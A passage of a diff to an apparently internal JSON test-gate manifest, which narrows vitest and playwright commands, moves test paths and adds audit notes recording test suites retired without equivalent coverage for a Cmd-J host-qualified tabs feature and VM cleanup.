result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Aggregate two hosts' tabs under one intentionally colliding worktree id, stamp each unified tab with its execution host, and require exactly one candidate per owner. Repeat with an SSH physical owner transported by a paired-runtime alias. Independently require each browser and simulator Cmd-J selection to update activeWorkspaceExecutionHostId plus its owning workspace/group and render the selected tab active. Ambiguous legacy tabs without ownership fail closed.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts src/shared/workspace-session/workspace-session-schema.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/shared/workspace-session/workspace-session-schema.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts",
         "pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
         "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
       ],
       "testFiles": [
         "src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts",
         "src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx",
-        "src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts",
+        "src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts",
         "src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts",
         "src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts",
         "src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts",
         "src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts",
-        "src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts",
         "src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts",
         "src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts",
         "tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts",
@@ -2388,21 +2346,12 @@
           "file": "src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts",
           "assertions": ["same-id local and SSH worktrees keep separate review-index results"]
         },
-
         {
-          "file": "src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts",
+          "file": "src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts",
           "assertions": [
             "scoped open-tab search keeps a hidden same-id sibling in the legacy ownership ambiguity set"
           ]
         },
-        {
-          "file": "src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts",
-          "assertions": [
-            "same-id folder simulator reuse selects the active owning host",
-            "inactive local simulator creation remains host-stamped amid a collision",
-            "an explicitly owned simulator is reused before its matching worktree row hydrates"
-          ]
-        },
         {
           "file": "src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts",
           "assertions": [
@@ -2426,7 +2375,7 @@
           "result": "failed",
           "durationSeconds": 1.8,
           "summary": "The first review-round oracle failed 4/40: browser and simulator dropped the SSH worktree's paired-runtime-owned tab, generic workspace rows attributed the remote tab to local, and active local tab creation left ownership unstamped. Historical command and result are preserved after the test-value audit removed the tab-store assertions this run included. currentCommand is only an administrative link to the remaining gate command; the historical run has not validated that command or equivalent coverage.",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts"
+          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts"
         },
         {
           "date": "2026-08-20",
@@ -2448,37 +2397,6 @@
           "summary": "A fresh electron-vite --mode e2e build passed the paired journey: the visible Cmd-J list retained one owning browser/simulator row and each selection changed the execution host plus its owning workspace or group.",
           "currentCommand": "pnpm exec playwright test tests/e2e/paired-cmd-j-host-qualified-tabs.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1"
         },
-        {
-          "date": "2026-08-20",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/ensure-simulator-tab-behavior.test.ts src/renderer/src/lib/palette-repo-resolution.test.ts",
-          "result": "failed",
-          "durationSeconds": 0.8,
-          "summary": "The final-review oracle failed 4/16 before the follow-up: same-id folder simulator reuse selected no owning tab, inactive local simulator creation was unstamped, the paired SSH/runtime alias resolved local metadata, and an explicit unknown owner fell back locally. Historical command preserved after the test-value audit removed the palette repo resolver suite. currentCommand is an administrative link to a remaining gate command; this historical run has not validated that command or equivalent coverage.",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts"
-        },
-        {
-          "date": "2026-08-20",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/palette-repo-resolution.test.ts",
-          "result": "failed",
-          "durationSeconds": 0.1,
-          "summary": "The final reviewer repo-label oracle failed 1/6 before the follow-up: a paired SSH worktree resolved the local bare-id repository instead of its runtime-owned repository. Historical command preserved after the test-value audit removed the palette repo resolver suite. currentCommand is an administrative link to a remaining gate command; this historical run has not validated that command or equivalent coverage.",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts"
-        },
-        {
-          "date": "2026-08-20",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/palette-repo-resolution.test.ts",
-          "result": "failed",
-          "durationSeconds": 0.1,
-          "summary": "The final clean-round fail-closed oracle failed 1/7 before the follow-up: an unavailable explicit runtime owner borrowed physical SSH repository metadata. Historical command preserved after the test-value audit removed the palette repo resolver suite. currentCommand is an administrative link to a remaining gate command; this historical run has not validated that command or equivalent coverage.",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts"
-        },
-
         {
           "date": "2026-08-20",
           "runner": "local",
@@ -2566,7 +2484,20 @@
         "Audit1402: src/renderer/src/runtime/web-session-tabs-sync-mirror-identity.test.ts reduced. Loses repeated no-op frame store-notification budget; independent cross-runtime resource preservation remains. No equivalent replacement coverage is claimed. Historical removed assertion inventory: [{\"file\":\"src/renderer/src/runtime/web-session-tabs-sync-mirror-identity.test.ts\",\"assertions\":[\"preserves a sibling runtime mirror under the same bare worktree id\"]}]",
         "Audit1494 removes use-open-tab-search.test.ts. Supplied host/worktree/title/ranking projections, simple subscription updates and result-array identity alarms are retired. No actual activation or navigation occurred in that suite. No equivalent replacement coverage or fresh Cmd-J gate validation is claimed. Historical receipts remain scoped to their original selectors.",
         "Audit1899 replays sealed Audit1895: workspace-session-schema.test.ts keeps only cross-workspace truncated-tab salvage and legacy browser-history cap normalization. Four current commands and testFiles retain that reduced source; no current assertionRef or active receipt selects it. SSH file-owner, isolated browser partition, launch/title/quick-command fields, recency, structured-chat/view-mode and remote browser identity hydration alarms are intentionally lost. Existing retired receipt strings and unrelated active receipts remain verbatim. No equivalent replacement, new Cmd-J gate execution, native simulator or remote/browser restore proof is claimed.",
-        "Audit2192 retires the removed physical-SSH repository badge assertion from WorktreeJumpPalette.test.tsx and its exact historical failed oracle receipt. Current reduced test selectors and unrelated unit/E2E receipts remain; none was rerun by this source audit and equivalent coverage is not claimed. Original obsolete assertion object verbatim:\n{\n          \"file\": \"src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\",\n          \"assertions\": [\n            \"a runtime-owned worktree row never renders repository metadata borrowed from its physical SSH host\"\n          ]\n        }\nOriginal dated failed receipt object verbatim:\n{\n          \"date\": \"2026-08-20\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/WorktreeJumpPalette.test.tsx\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 5.1,\n          \"summary\": \"With the component's physical-host prelookup restored, the rendered palette oracle failed 1/12: the runtime-owned row displayed the physical SSH repository badge.\"\n        }"
+        "Audit2192 retires the removed physical-SSH repository badge assertion from WorktreeJumpPalette.test.tsx and its exact historical failed oracle receipt. Current reduced test selectors and unrelated unit/E2E receipts remain; none was rerun by this source audit and equivalent coverage is not claimed. Original obsolete assertion object verbatim:\n{\n          \"file\": \"src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\",\n          \"assertions\": [\n            \"a runtime-owned worktree row never renders repository metadata borrowed from its physical SSH host\"\n          ]\n        }\nOriginal dated failed receipt object verbatim:\n{\n          \"date\": \"2026-08-20\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/WorktreeJumpPalette.test.tsx\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 5.1,\n          \"summary\": \"With the component's physical-host prelookup restored, the rendered palette oracle failed 1/12: the runtime-owned row displayed the physical SSH repository badge.\"\n        }",
+        "Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims.",
+        "Audit 3301 removes the orphaned mobile file-close fallback and ordinary cross-content MRU examples from tabs-open-close-lifecycle.test.ts. Earlier descriptions of retained MRU coverage are historical. The integrated mobile markdown close/frame-settlement case remains unchanged and is narrower. Preserve the existing administrative failed receipt and all complete retired receipts verbatim, along with selectors and unrelated assertions; no equivalent replacement or fresh Cmd-J, native or remote result is claimed.",
+        "Audit3359 retires the whole ensure-simulator-tab-behavior suite: host-collision reuse, host stamping, inactive creation and unknown-owner routing alarms are intentionally lost without equivalent replacement. Its standalone command is removed and four compound commands narrowed. Three complete dated receipts selecting that source through currentCommand are retired verbatim, including their compound historical selectors; no retained test inherits their validation. Seven unrelated macOS receipts retain their original scope. No fresh runtime/UI, simulator, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3359 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts\"",
+        "Audit3359 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts src/shared/workspace-session/workspace-session-schema.test.ts\"",
+        "Audit3359 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts\"",
+        "Audit3359 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts\"",
+        "Audit3359 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/cmd-j/worktree-checks-review-index.test.ts src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts src/renderer/src/lib/browser/palette/browser-palette-page-entries.test.ts src/renderer/src/lib/simulator/search/simulator-palette-search.test.ts src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/simulator-tab-palette-activation.test.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-mirror-identity.test.ts src/shared/workspace-session/workspace-session-schema.test.ts\"",
+        "Audit3359 historical original testFiles object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts\"",
+        "Audit3359 historical original assertionRefs object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts\",\n          \"assertions\": [\n            \"same-id folder simulator reuse selects the active owning host\",\n            \"inactive local simulator creation remains host-stamped amid a collision\",\n            \"an explicitly owned simulator is reused before its matching worktree row hydrates\"\n          ]\n        }",
+        "Audit3359 historical original evidenceRuns object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-20\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/ensure-simulator-tab-behavior.test.ts src/renderer/src/lib/palette-repo-resolution.test.ts\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 0.8,\n          \"summary\": \"The final-review oracle failed 4/16 before the follow-up: same-id folder simulator reuse selected no owning tab, inactive local simulator creation was unstamped, the paired SSH/runtime alias resolved local metadata, and an explicit unknown owner fell back locally. Historical command preserved after the test-value audit removed the palette repo resolver suite. currentCommand is an administrative link to a remaining gate command; this historical run has not validated that command or equivalent coverage.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts\"\n        }",
+        "Audit3359 historical original evidenceRuns object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-20\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/palette-repo-resolution.test.ts\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 0.1,\n          \"summary\": \"The final reviewer repo-label oracle failed 1/6 before the follow-up: a paired SSH worktree resolved the local bare-id repository instead of its runtime-owned repository. Historical command preserved after the test-value audit removed the palette repo resolver suite. currentCommand is an administrative link to a remaining gate command; this historical run has not validated that command or equivalent coverage.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts\"\n        }",
+        "Audit3359 historical original evidenceRuns object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-20\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/palette-repo-resolution.test.ts\",\n          \"result\": \"failed\",\n          \"durationSeconds\": 0.1,\n          \"summary\": \"The final clean-round fail-closed oracle failed 1/7 before the follow-up: an unavailable explicit runtime owner borrowed physical SSH repository metadata. Historical command preserved after the test-value audit removed the palette repo resolver suite. currentCommand is an administrative link to a remaining gate command; this historical run has not validated that command or equivalent coverage.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts\"\n        }"
       ],
       "demotionRule": "Cannot promote if a same-id sibling tab duplicates, disappears, activates another host, or if ambiguous unstamped ownership is guessed."
     },
@@ -2587,14 +2518,14 @@
       "providers": ["orca-server", "direct-ssh"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["orca-server", "direct-ssh"],
-      "coverageNotes": "Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n          \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n        } Historical prior account (preserved verbatim): Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1441 removes the complete renderer VM-runtime settings suite: display filter/status/SSH-retry flags, cleanup and stop RPC-to-toast/dialog plumbing, manual-copy plumbing and polling toast silence. The suite did not execute provider teardown or process cancellation. Its rendered stop/retry and hidden-SSH display alarms are intentionally retired; no equivalent replacement or fresh reduced-selector runtime result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/lib/ephemeral-vm-workspace-target.test.ts: Loses wrapper-level host rebinding, incompatible provisioned-root refusal and best-effort cleanup-call alarms; all are mock-only orchestration projections. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A pinned exact-source harness runs the pre-#14352 reader and lifecycle service against baseline, affected-main, candidate, and fix-reverted stores. Platform-neutral tests cover store compatibility, user-cancellable cleanup, branch/ref adoption; audit885 removes the direct resume ownership predicate alarms. The direct-SSH provisioned-root Electron journey remains the live transport and destroy proof; this desktop sidecar is not mobile-facing and changes no RPC or remote wire payload. The test-value audit removed the renderer provisioned-root create-options suite. Its two incomplete-identity rejection assertions are lost: one omitted workspaceRunContext and other identity fields, and one supplied the context but omitted ephemeralVmExpectedRefHead. The suite did not test successful option mapping. Retained source-ref and lifecycle suites do not establish equivalent renderer guard coverage. Audit1342: src/renderer/src/lib/ephemeral-vm-runtime-cleanup.test.ts removed. Runtime/SSH ownership, encoded target, retry/failure/listing-error cleanup projection samples disappear. No equivalent replacement coverage is claimed.",
+      "coverageNotes": "Audit 3292 retires the direct-SSH failed-project retention, managed-server failed-project retention and ordinary confirmed managed-VM destruction/no-repo.rm examples from repos-ephemeral-vm-cleanup-retention.test.ts. Host-scoped same-workspace isolation and stale renderer catalog reconciliation remain byte-identical. These three supplied-result alarms are intentionally lost without equivalent replacement. Existing selectors/assertionRefs, unrelated cross-version rollback receipt and archived complete 122-case cleanup receipt remain exact; no fresh broad runtime, provider, platform or mixed-version result is claimed. Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n          \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n        } Historical prior account (preserved verbatim): Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1441 removes the complete renderer VM-runtime settings suite: display filter/status/SSH-retry flags, cleanup and stop RPC-to-toast/dialog plumbing, manual-copy plumbing and polling toast silence. The suite did not execute provider teardown or process cancellation. Its rendered stop/retry and hidden-SSH display alarms are intentionally retired; no equivalent replacement or fresh reduced-selector runtime result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/lib/ephemeral-vm-workspace-target.test.ts: Loses wrapper-level host rebinding, incompatible provisioned-root refusal and best-effort cleanup-call alarms; all are mock-only orchestration projections. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): A pinned exact-source harness runs the pre-#14352 reader and lifecycle service against baseline, affected-main, candidate, and fix-reverted stores. Platform-neutral tests cover store compatibility, user-cancellable cleanup, branch/ref adoption; audit885 removes the direct resume ownership predicate alarms. The direct-SSH provisioned-root Electron journey remains the live transport and destroy proof; this desktop sidecar is not mobile-facing and changes no RPC or remote wire payload. The test-value audit removed the renderer provisioned-root create-options suite. Its two incomplete-identity rejection assertions are lost: one omitted workspaceRunContext and other identity fields, and one supplied the context but omitted ephemeralVmExpectedRefHead. The suite did not test successful option mapping. Retained source-ref and lifecycle suites do not establish equivalent renderer guard coverage. Audit1342: src/renderer/src/lib/ephemeral-vm-runtime-cleanup.test.ts removed. Runtime/SSH ownership, encoded target, retry/failure/listing-error cleanup projection samples disappear. No equivalent replacement coverage is claimed.",
       "motivatingLinks": [
         "https://linear.app/stably/issue/STA-4274",
         "https://github.com/stablyai/orca/pull/14352",
         "https://github.com/stablyai/orca/issues/13044"
       ],
       "invariant": "A sidecar written by the new build cannot make the previous production build lose otherwise compatible VM runtimes. Downgrade lifecycle writes remain authoritative after re-upgrade, provisioned-root metadata remains recoverable, and corrupt or future feature metadata is preserved without poisoning the rollback-readable v1 store. Destroy attempts have no automatic wall-clock cutoff; a user stop terminates the process tree, retains cleanup ownership, and permits a fresh retry. Provider failure retains the SSH/project context needed for safe cleanup. Unrecoverable recipe context releases only the hidden SSH registration while preserving lifecycle/provider metadata. Provisioned-root create receives the source ref's pinned commit, adoption verifies the requested branch/ref, and resume preserves the connection mode plus stable SSH ownership identity while allowing endpoint rotation.",
